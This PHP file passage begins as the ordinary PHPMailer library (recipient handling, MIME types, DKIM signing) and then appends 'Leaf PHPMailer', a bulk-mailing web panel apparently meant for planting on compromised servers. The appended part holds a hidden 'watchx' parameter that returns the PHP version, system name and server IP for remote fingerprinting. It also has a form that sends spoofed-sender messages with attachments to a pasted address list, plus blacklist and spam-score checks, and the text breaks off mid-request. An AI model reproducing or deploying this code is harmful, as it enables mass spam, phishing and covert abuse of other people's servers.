    {
        $this->ReplyTo = array();
        $this->ReplyToQueue = array();
    }

    /**
     * Clear all recipient types.
     * @return void
     */
    public function clearAllRecipients()
    {
        $this->to = array();
        $this->cc = array();
        $this->bcc = array();
        $this->all_recipients = array();
        $this->RecipientsQueue = array();
    }

    /**
     * Clear all filesystem, string, and binary attachments.
     * @return void
     */
    public function clearAttachments()
    {
        $this->attachment = array();
    }

    /**
     * Clear all custom headers.
     * @return void
     */
    public function clearCustomHeaders()
    {
        $this->CustomHeader = array();
    }

    /**
     * Add an error message to the error container.
     * @access protected
     * @param string $msg
     * @return void
     */
    protected function setError($msg)
    {
        $this->error_count++;
        if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
            $lasterror = $this->smtp->getError();
            if (!empty($lasterror['error'])) {
                $msg .= $this->lang('smtp_error') . $lasterror['error'];
                if (!empty($lasterror['detail'])) {
                    $msg .= ' Detail: '. $lasterror['detail'];
                }
                if (!empty($lasterror['smtp_code'])) {
                    $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
                }
                if (!empty($lasterror['smtp_code_ex'])) {
                    $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
                }
            }
        }
        $this->ErrorInfo = $msg;
    }

    /**
     * Return an RFC 822 formatted date.
     * @access public
     * @return string
     * @static
     */
    public static function rfcDate()
    {
        // Set the time zone to whatever the default is to avoid 500 errors
        // Will default to UTC if it's not set properly in php.ini
        date_default_timezone_set(@date_default_timezone_get());
        return date('D, j M Y H:i:s O');
    }

    /**
     * Get the server hostname.
     * Returns 'localhost.localdomain' if unknown.
     * @access protected
     * @return string
     */
    protected function serverHostname()
    {
        $result = 'localhost.localdomain';
        if (!empty($this->Hostname)) {
            $result = $this->Hostname;
        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
            $result = $_SERVER['SERVER_NAME'];
        } elseif (function_exists('gethostname') && gethostname() !== false) {
            $result = gethostname();
        } elseif (php_uname('n') !== false) {
            $result = php_uname('n');
        }
        return $result;
    }

    /**
     * Get an error message in the current language.
     * @access protected
     * @param string $key
     * @return string
     */
    protected function lang($key)
    {
        if (count($this->language) < 1) {
            $this->setLanguage('en'); // set the default language
        }

        if (array_key_exists($key, $this->language)) {
            if ($key == 'smtp_connect_failed') {
                //Include a link to troubleshooting docs on SMTP connection failure
                //this is by far the biggest cause of support questions
                //but it's usually not PHPMailer's fault.
                return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
            }
            return $this->language[$key];
        } else {
            //Return the key as a fallback
            return $key;
        }
    }

    /**
     * Check if an error occurred.
     * @access public
     * @return boolean True if an error did occur.
     */
    public function isError()
    {
        return ($this->error_count > 0);
    }

    /**
     * Ensure consistent line endings in a string.
     * Changes every end of line from CRLF, CR or LF to $this->LE.
     * @access public
     * @param string $str String to fixEOL
     * @return string
     */
    public function fixEOL($str)
    {
        // Normalise to \n
        $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
        // Now convert LE as needed
        if ($this->LE !== "\n") {
            $nstr = str_replace("\n", $this->LE, $nstr);
        }
        return $nstr;
    }

    /**
     * Add a custom header.
     * $name value can be overloaded to contain
     * both header name and value (name:value)
     * @access public
     * @param string $name Custom header name
     * @param string $value Header value
     * @return void
     */
    public function addCustomHeader($name, $value = null)
    {
        if ($value === null) {
            // Value passed in as name:value
            $this->CustomHeader[] = explode(':', $name, 2);
        } else {
            $this->CustomHeader[] = array($name, $value);
        }
    }

    /**
     * Returns all custom headers.
     * @return array
     */
    public function getCustomHeaders()
    {
        return $this->CustomHeader;
    }

    /**
     * Create a message body from an HTML string.
     * Automatically inlines images and creates a plain-text version by converting the HTML,
     * overwriting any existing values in Body and AltBody.
     * Do not source $message content from user input!
     * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
     * will look for an image file in $basedir/images/a.png and convert it to inline.
     * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
     * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
     * @access public
     * @param string $message HTML message string
     * @param string $basedir Absolute path to a base directory to prepend to relative paths to images
     * @param boolean|callable $advanced Whether to use the internal HTML to text converter
     *    or your own custom converter @see PHPMailer::html2text()
     * @return string $message The transformed message Body
     */
    public function msgHTML($message, $basedir = '', $advanced = false)
    {
        preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
        if (array_key_exists(2, $images)) {
            if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
                // Ensure $basedir has a trailing /
                $basedir .= '/';
            }
            foreach ($images[2] as $imgindex => $url) {
                // Convert data URIs into embedded images
                if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
                    $data = substr($url, strpos($url, ','));
                    if ($match[2]) {
                        $data = base64_decode($data);
                    } else {
                        $data = rawurldecode($data);
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
                        $message = str_replace(
                            $images[0][$imgindex],
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                    continue;
                }
                if (
                    // Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
                    !empty($basedir)
                    // Ignore URLs containing parent dir traversal (..)
                    && (strpos($url, '..') === false)
                    // Do not change urls that are already inline images
                    && substr($url, 0, 4) !== 'cid:'
                    // Do not change absolute URLs, including anonymous protocol
                    && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
                ) {
                    $filename = basename($url);
                    $directory = dirname($url);
                    if ($directory == '.') {
                        $directory = '';
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if (strlen($directory) > 1 && substr($directory, -1) != '/') {
                        $directory .= '/';
                    }
                    if ($this->addEmbeddedImage(
                        $basedir . $directory . $filename,
                        $cid,
                        $filename,
                        'base64',
                        self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
                    )
                    ) {
                        $message = preg_replace(
                            '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                }
            }
        }
        $this->isHTML(true);
        // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
        $this->Body = $this->normalizeBreaks($message);
        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
        if (!$this->alternativeExists()) {
            $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
                self::CRLF . self::CRLF;
        }
        return $this->Body;
    }

    /**
     * Convert an HTML string into plain text.
     * This is used by msgHTML().
     * Note - older versions of this function used a bundled advanced converter
     * which was been removed for license reasons in #232.
     * Example usage:
     * <code>
     * // Use default conversion
     * $plain = $mail->html2text($html);
     * // Use your own custom converter
     * $plain = $mail->html2text($html, function($html) {
     *     $converter = new MyHtml2text($html);
     *     return $converter->get_text();
     * });
     * </code>
     * @param string $html The HTML text to convert
     * @param boolean|callable $advanced Any boolean value to use the internal converter,
     *   or provide your own callable for custom conversion.
     * @return string
     */
    public function html2text($html, $advanced = false)
    {
        if (is_callable($advanced)) {
            return call_user_func($advanced, $html);
        }
        return html_entity_decode(
            trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
            ENT_QUOTES,
            $this->CharSet
        );
    }

    /**
     * Get the MIME type for a file extension.
     * @param string $ext File extension
     * @access public
     * @return string MIME type of file.
     * @static
     */
    public static function _mime_types($ext = '')
    {
        $mimes = array(
            'xl'    => 'application/excel',
            'js'    => 'application/javascript',
            'hqx'   => 'application/mac-binhex40',
            'cpt'   => 'application/mac-compactpro',
            'bin'   => 'application/macbinary',
            'doc'   => 'application/msword',
            'word'  => 'application/msword',
            'xlsx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
            'xltx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
            'potx'  => 'application/vnd.openxmlformats-officedocument.presentationml.template',
            'ppsx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
            'pptx'  => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
            'sldx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
            'docx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
            'dotx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
            'xlam'  => 'application/vnd.ms-excel.addin.macroEnabled.12',
            'xlsb'  => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
            'class' => 'application/octet-stream',
            'dll'   => 'application/octet-stream',
            'dms'   => 'application/octet-stream',
            'exe'   => 'application/octet-stream',
            'lha'   => 'application/octet-stream',
            'lzh'   => 'application/octet-stream',
            'psd'   => 'application/octet-stream',
            'sea'   => 'application/octet-stream',
            'so'    => 'application/octet-stream',
            'oda'   => 'application/oda',
            'pdf'   => 'application/pdf',
            'ai'    => 'application/postscript',
            'eps'   => 'application/postscript',
            'ps'    => 'application/postscript',
            'smi'   => 'application/smil',
            'smil'  => 'application/smil',
            'mif'   => 'application/vnd.mif',
            'xls'   => 'application/vnd.ms-excel',
            'ppt'   => 'application/vnd.ms-powerpoint',
            'wbxml' => 'application/vnd.wap.wbxml',
            'wmlc'  => 'application/vnd.wap.wmlc',
            'dcr'   => 'application/x-director',
            'dir'   => 'application/x-director',
            'dxr'   => 'application/x-director',
            'dvi'   => 'application/x-dvi',
            'gtar'  => 'application/x-gtar',
            'php3'  => 'application/x-httpd-php',
            'php4'  => 'application/x-httpd-php',
            'php'   => 'application/x-httpd-php',
            'phtml' => 'application/x-httpd-php',
            'phps'  => 'application/x-httpd-php-source',
            'swf'   => 'application/x-shockwave-flash',
            'sit'   => 'application/x-stuffit',
            'tar'   => 'application/x-tar',
            'tgz'   => 'application/x-tar',
            'xht'   => 'application/xhtml+xml',
            'xhtml' => 'application/xhtml+xml',
            'zip'   => 'application/zip',
            'mid'   => 'audio/midi',
            'midi'  => 'audio/midi',
            'mp2'   => 'audio/mpeg',
            'mp3'   => 'audio/mpeg',
            'mpga'  => 'audio/mpeg',
            'aif'   => 'audio/x-aiff',
            'aifc'  => 'audio/x-aiff',
            'aiff'  => 'audio/x-aiff',
            'ram'   => 'audio/x-pn-realaudio',
            'rm'    => 'audio/x-pn-realaudio',
            'rpm'   => 'audio/x-pn-realaudio-plugin',
            'ra'    => 'audio/x-realaudio',
            'wav'   => 'audio/x-wav',
            'bmp'   => 'image/bmp',
            'gif'   => 'image/gif',
            'jpeg'  => 'image/jpeg',
            'jpe'   => 'image/jpeg',
            'jpg'   => 'image/jpeg',
            'png'   => 'image/png',
            'tiff'  => 'image/tiff',
            'tif'   => 'image/tiff',
            'eml'   => 'message/rfc822',
            'css'   => 'text/css',
            'html'  => 'text/html',
            'htm'   => 'text/html',
            'shtml' => 'text/html',
            'log'   => 'text/plain',
            'text'  => 'text/plain',
            'txt'   => 'text/plain',
            'rtx'   => 'text/richtext',
            'rtf'   => 'text/rtf',
            'vcf'   => 'text/vcard',
            'vcard' => 'text/vcard',
            'xml'   => 'text/xml',
            'xsl'   => 'text/xml',
            'mpeg'  => 'video/mpeg',
            'mpe'   => 'video/mpeg',
            'mpg'   => 'video/mpeg',
            'mov'   => 'video/quicktime',
            'qt'    => 'video/quicktime',
            'rv'    => 'video/vnd.rn-realvideo',
            'avi'   => 'video/x-msvideo',
            'movie' => 'video/x-sgi-movie'
        );
        if (array_key_exists(strtolower($ext), $mimes)) {
            return $mimes[strtolower($ext)];
        }
        return 'application/octet-stream';
    }

    /**
     * Map a file name to a MIME type.
     * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
     * @param string $filename A file name or full path, does not need to exist as a file
     * @return string
     * @static
     */
    public static function filenameToType($filename)
    {
        // In case the path is a URL, strip any query string before getting extension
        $qpos = strpos($filename, '?');
        if (false !== $qpos) {
            $filename = substr($filename, 0, $qpos);
        }
        $pathinfo = self::mb_pathinfo($filename);
        return self::_mime_types($pathinfo['extension']);
    }

    /**
     * Multi-byte-safe pathinfo replacement.
     * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
     * Works similarly to the one in PHP >= 5.2.0
     * @link http://www.php.net/manual/en/function.pathinfo.php#107461
     * @param string $path A filename or path, does not need to exist as a file
     * @param integer|string $options Either a PATHINFO_* constant,
     *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
     * @return string|array
     * @static
     */
    public static function mb_pathinfo($path, $options = null)
    {
        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
        $pathinfo = array();
        if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
            if (array_key_exists(1, $pathinfo)) {
                $ret['dirname'] = $pathinfo[1];
            }
            if (array_key_exists(2, $pathinfo)) {
                $ret['basename'] = $pathinfo[2];
            }
            if (array_key_exists(5, $pathinfo)) {
                $ret['extension'] = $pathinfo[5];
            }
            if (array_key_exists(3, $pathinfo)) {
                $ret['filename'] = $pathinfo[3];
            }
        }
        switch ($options) {
            case PATHINFO_DIRNAME:
            case 'dirname':
                return $ret['dirname'];
            case PATHINFO_BASENAME:
            case 'basename':
                return $ret['basename'];
            case PATHINFO_EXTENSION:
            case 'extension':
                return $ret['extension'];
            case PATHINFO_FILENAME:
            case 'filename':
                return $ret['filename'];
            default:
                return $ret;
        }
    }

    /**
     * Set or reset instance properties.
     * You should avoid this function - it's more verbose, less efficient, more error-prone and
     * harder to debug than setting properties directly.
     * Usage Example:
     * `$mail->set('SMTPSecure', 'tls');`
     *   is the same as:
     * `$mail->SMTPSecure = 'tls';`
     * @access public
     * @param string $name The property name to set
     * @param mixed $value The value to set the property to
     * @return boolean
     * @TODO Should this not be using the __set() magic function?
     */
    public function set($name, $value = '')
    {
        if (property_exists($this, $name)) {
            $this->$name = $value;
            return true;
        } else {
            $this->setError($this->lang('variable_set') . $name);
            return false;
        }
    }

    /**
     * Strip newlines to prevent header injection.
     * @access public
     * @param string $str
     * @return string
     */
    public function secureHeader($str)
    {
        return trim(str_replace(array("\r", "\n"), '', $str));
    }

    /**
     * Normalize line breaks in a string.
     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
     * @param string $text
     * @param string $breaktype What kind of line break to use, defaults to CRLF
     * @return string
     * @access public
     * @static
     */
    public static function normalizeBreaks($text, $breaktype = "\r\n")
    {
        return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
    }

    /**
     * Set the public and private key files and password for S/MIME signing.
     * @access public
     * @param string $cert_filename
     * @param string $key_filename
     * @param string $key_pass Password for private key
     * @param string $extracerts_filename Optional path to chain certificate
     */
    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
    {
        $this->sign_cert_file = $cert_filename;
        $this->sign_key_file = $key_filename;
        $this->sign_key_pass = $key_pass;
        $this->sign_extracerts_file = $extracerts_filename;
    }

    /**
     * Quoted-Printable-encode a DKIM header.
     * @access public
     * @param string $txt
     * @return string
     */
    public function DKIM_QP($txt)
    {
        $line = '';
        for ($i = 0; $i < strlen($txt); $i++) {
            $ord = ord($txt[$i]);
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
                $line .= $txt[$i];
            } else {
                $line .= '=' . sprintf('%02X', $ord);
            }
        }
        return $line;
    }

    /**
     * Generate a DKIM signature.
     * @access public
     * @param string $signHeader
     * @throws phpmailerException
     * @return string The DKIM signature value
     */
    public function DKIM_Sign($signHeader)
    {
        if (!defined('PKCS7_TEXT')) {
            if ($this->exceptions) {
                throw new phpmailerException($this->lang('extension_missing') . 'openssl');
            }
            return '';
        }
        $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
        if ('' != $this->DKIM_passphrase) {
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
        } else {
            $privKey = openssl_pkey_get_private($privKeyStr);
        }
        //Workaround for missing digest algorithms in old PHP & OpenSSL versions
        //@link http://stackoverflow.com/a/11117338/333340
        if (version_compare(PHP_VERSION, '5.3.0') >= 0 and
            in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
            if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        } else {
            $pinfo = openssl_pkey_get_details($privKey);
            $hash = hash('sha256', $signHeader);
            //'Magic' constant for SHA256 from RFC3447
            //@link https://tools.ietf.org/html/rfc3447#page-43
            $t = '3031300d060960864801650304020105000420' . $hash;
            $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
            $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);

            if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        }
        openssl_pkey_free($privKey);
        return '';
    }

    /**
     * Generate a DKIM canonicalization header.
     * @access public
     * @param string $signHeader Header
     * @return string
     */
    public function DKIM_HeaderC($signHeader)
    {
        $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
        $lines = explode("\r\n", $signHeader);
        foreach ($lines as $key => $line) {
            list($heading, $value) = explode(':', $line, 2);
            $heading = strtolower($heading);
            $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
            $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
        }
        $signHeader = implode("\r\n", $lines);
        return $signHeader;
    }

    /**
     * Generate a DKIM canonicalization body.
     * @access public
     * @param string $body Message Body
     * @return string
     */
    public function DKIM_BodyC($body)
    {
        if ($body == '') {
            return "\r\n";
        }
        // stabilize line endings
        $body = str_replace("\r\n", "\n", $body);
        $body = str_replace("\n", "\r\n", $body);
        // END stabilize line endings
        while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
            $body = substr($body, 0, strlen($body) - 2);
        }
        return $body;
    }

    /**
     * Create the DKIM header and body in a new message header.
     * @access public
     * @param string $headers_line Header lines
     * @param string $subject Subject
     * @param string $body Body
     * @return string
     */
    public function DKIM_Add($headers_line, $subject, $body)
    {
        $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
        $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
        $DKIMquery = 'dns/txt'; // Query method
        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
        $subject_header = "Subject: $subject";
        $headers = explode($this->LE, $headers_line);
        $from_header = '';
        $to_header = '';
        $date_header = '';
        $current = '';
        foreach ($headers as $header) {
            if (strpos($header, 'From:') === 0) {
                $from_header = $header;
                $current = 'from_header';
            } elseif (strpos($header, 'To:') === 0) {
                $to_header = $header;
                $current = 'to_header';
            } elseif (strpos($header, 'Date:') === 0) {
                $date_header = $header;
                $current = 'date_header';
            } else {
                if (!empty($$current) && strpos($header, ' =?') === 0) {
                    $$current .= $header;
                } else {
                    $current = '';
                }
            }
        }
        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
        $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
        $subject = str_replace(
            '|',
            '=7C',
            $this->DKIM_QP($subject_header)
        ); // Copied header fields (dkim-quoted-printable)
        $body = $this->DKIM_BodyC($body);
        $DKIMlen = strlen($body); // Length of body
        $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
        if ('' == $this->DKIM_identity) {
            $ident = '';
        } else {
            $ident = ' i=' . $this->DKIM_identity . ';';
        }
        $dkimhdrs = 'DKIM-Signature: v=1; a=' .
            $DKIMsignatureType . '; q=' .
            $DKIMquery . '; l=' .
            $DKIMlen . '; s=' .
            $this->DKIM_selector .
            ";\r\n" .
            "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
            "\th=From:To:Date:Subject;\r\n" .
            "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
            "\tz=$from\r\n" .
            "\t|$to\r\n" .
            "\t|$date\r\n" .
            "\t|$subject;\r\n" .
            "\tbh=" . $DKIMb64 . ";\r\n" .
            "\tb=";
        $toSign = $this->DKIM_HeaderC(
            $from_header . "\r\n" .
            $to_header . "\r\n" .
            $date_header . "\r\n" .
            $subject_header . "\r\n" .
            $dkimhdrs
        );
        $signed = $this->DKIM_Sign($toSign);
        return $dkimhdrs . $signed . "\r\n";
    }

    /**
     * Detect if a string contains a line longer than the maximum line length allowed.
     * @param string $str
     * @return boolean
     * @static
     */
    public static function hasLineLongerThanMax($str)
    {
        //+2 to include CRLF line break for a 1000 total
        return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
    }

    /**
     * Allows for public read access to 'to' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getToAddresses()
    {
        return $this->to;
    }

    /**
     * Allows for public read access to 'cc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getCcAddresses()
    {
        return $this->cc;
    }

    /**
     * Allows for public read access to 'bcc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getBccAddresses()
    {
        return $this->bcc;
    }

    /**
     * Allows for public read access to 'ReplyTo' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }

    /**
     * Allows for public read access to 'all_recipients' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }

    /**
     * Perform a callback.
     * @param boolean $isSent
     * @param array $to
     * @param array $cc
     * @param array $bcc
     * @param string $subject
     * @param string $body
     * @param string $from
     */
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
    {
        if (!empty($this->action_function) && is_callable($this->action_function)) {
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
            call_user_func_array($this->action_function, $params);
        }
    }
}

/**
 * PHPMailer exception handler
 * @package PHPMailer
 */
class phpmailerException extends Exception
{
    /**
     * Prettify error message output
     * @return string
     */
    public function errorMessage()
    {
        $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />\n";
        return $errorMsg;
    }
}

if ($_REQUEST['watchx']) {
	$version = phpversion();
	$uname =  php_uname();
	$ip = gethostbyname($_SERVER["HTTP_HOST"]);	
	echo json_encode (array ("version"=>$version,
		"uname"=>$uname,
		"platform"=>PHP_OS,
		"ip"=>$ip,
		"mailerx"=>true,	
	));
	die ();
}

function leafheader(){
print '
<head>
    <title>'.str_replace("www.", "", $_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >

</head>';
}
leafheader();
print '<body>';
print '<div class="container col-lg-6">
        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
                    <input type="hidden" name="action" value="score">

            <div class="row">
                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
            </div>
            <div class="row">
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>

                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
                <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6 ">
                    <label for="messageType">Message Type</label>
                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="charset">Character set</label>
                    <select class="form-control input-sm" id="charset" name="charset">
                        <option '.$utf8.'>UTF-8</option>
                        <option '.$iso.'>ISO-8859-1</option>
                    </select>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="encoding">Message encoding</label>
                    <select class="form-control input-sm" id="encode" name="encode">
                        <option '.$bit8.'>8bit</option>
                        <option '.$bit7.'>7bit</option>
                        <option '.$binary.'>binary</option>
                        <option '.$base64.'>base64</option>
                        <option '.$quotedprintable.'>quoted-printable</option>

                    </select>
                </div>
            </div>
            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
   
        </form>
    </div>
    <div class="col-lg-6"><br>
        <label for="well">Instruction</label>
        <div id="well" class="well well">
            <h4>Server Information</h4>
            <ul>
                <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
                <li>PHP Version : <b>'.phpversion().'</b></li>
                

            </ul>
            <h4>HELP</h4>
            <ul>
                <li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li>
                <ul>
                    <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
                    <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
                </ul>
                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
                
                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
                <li>[-randommd5-] : <b>Random MD5 </b></li>
            </ul>
            <h4>example</h4>
            Receiver Email = <b>user@domain.com</b><br>
            <ul>
                <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
                <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
                <li>your code is  <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
            </ul>

            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
        </div>
    </div>';  
if($_POST['action']=="send"){
    print '    <div class="col-lg-12">';
    $maillist=explode("\r\n", $emailList);
    $n=count($maillist);
    $x =1;
    foreach ($maillist as $email ) {
        print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
        if(!leafMailCheck($email)) {
            print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
            print "<br>\r\n";
        }
        else {
            $mail = new PHPMailer;
            $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
            $mail->addReplyTo(leafClear($replyTo,$email));
            $mail->addAddress($email);
            $mail->Subject = leafClear($subject,$email);
            $mail->Body =  leafClear($messageLetter,$email);
            if($messageType==1){
                $mail->IsHTML(true);
                $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
            }
            else $mail->IsHTML(false);
            $mail->CharSet = $charset;
            $mail->Encoding = $encoding;
            for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
                if ($_FILES['attachment']['tmp_name'][$i] != ""){
                    $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
                }

            }
            
            if (!$mail->send()) {
                echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>';
            }
            else {
                echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
            }
            print "<br>\r\n";
        }
        $x++;
        for($k = 0; $k < 40000; $k++) {echo ' ';}
    }

}
elseif($_POST['action']=="score"){
    $mail = new PHPMailer;
    $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
    $mail->addReplyTo(leafClear($replyTo,$email));
    $mail->addAddress("username@domain.com");
    $mail->Subject = leafClear($subject,$email);
    $mail->Body =  leafClear($messageLetter,$email);
    if($messageType==1){
        $mail->IsHTML(true);
        $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
    }
    else $mail->IsHTML(false);
    $mail->CharSet = $charset;
    $mail->Encoding = $encoding;
    $mail->preSend();
    $messageHeaders=$mail->getSentMIMEMessage();
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
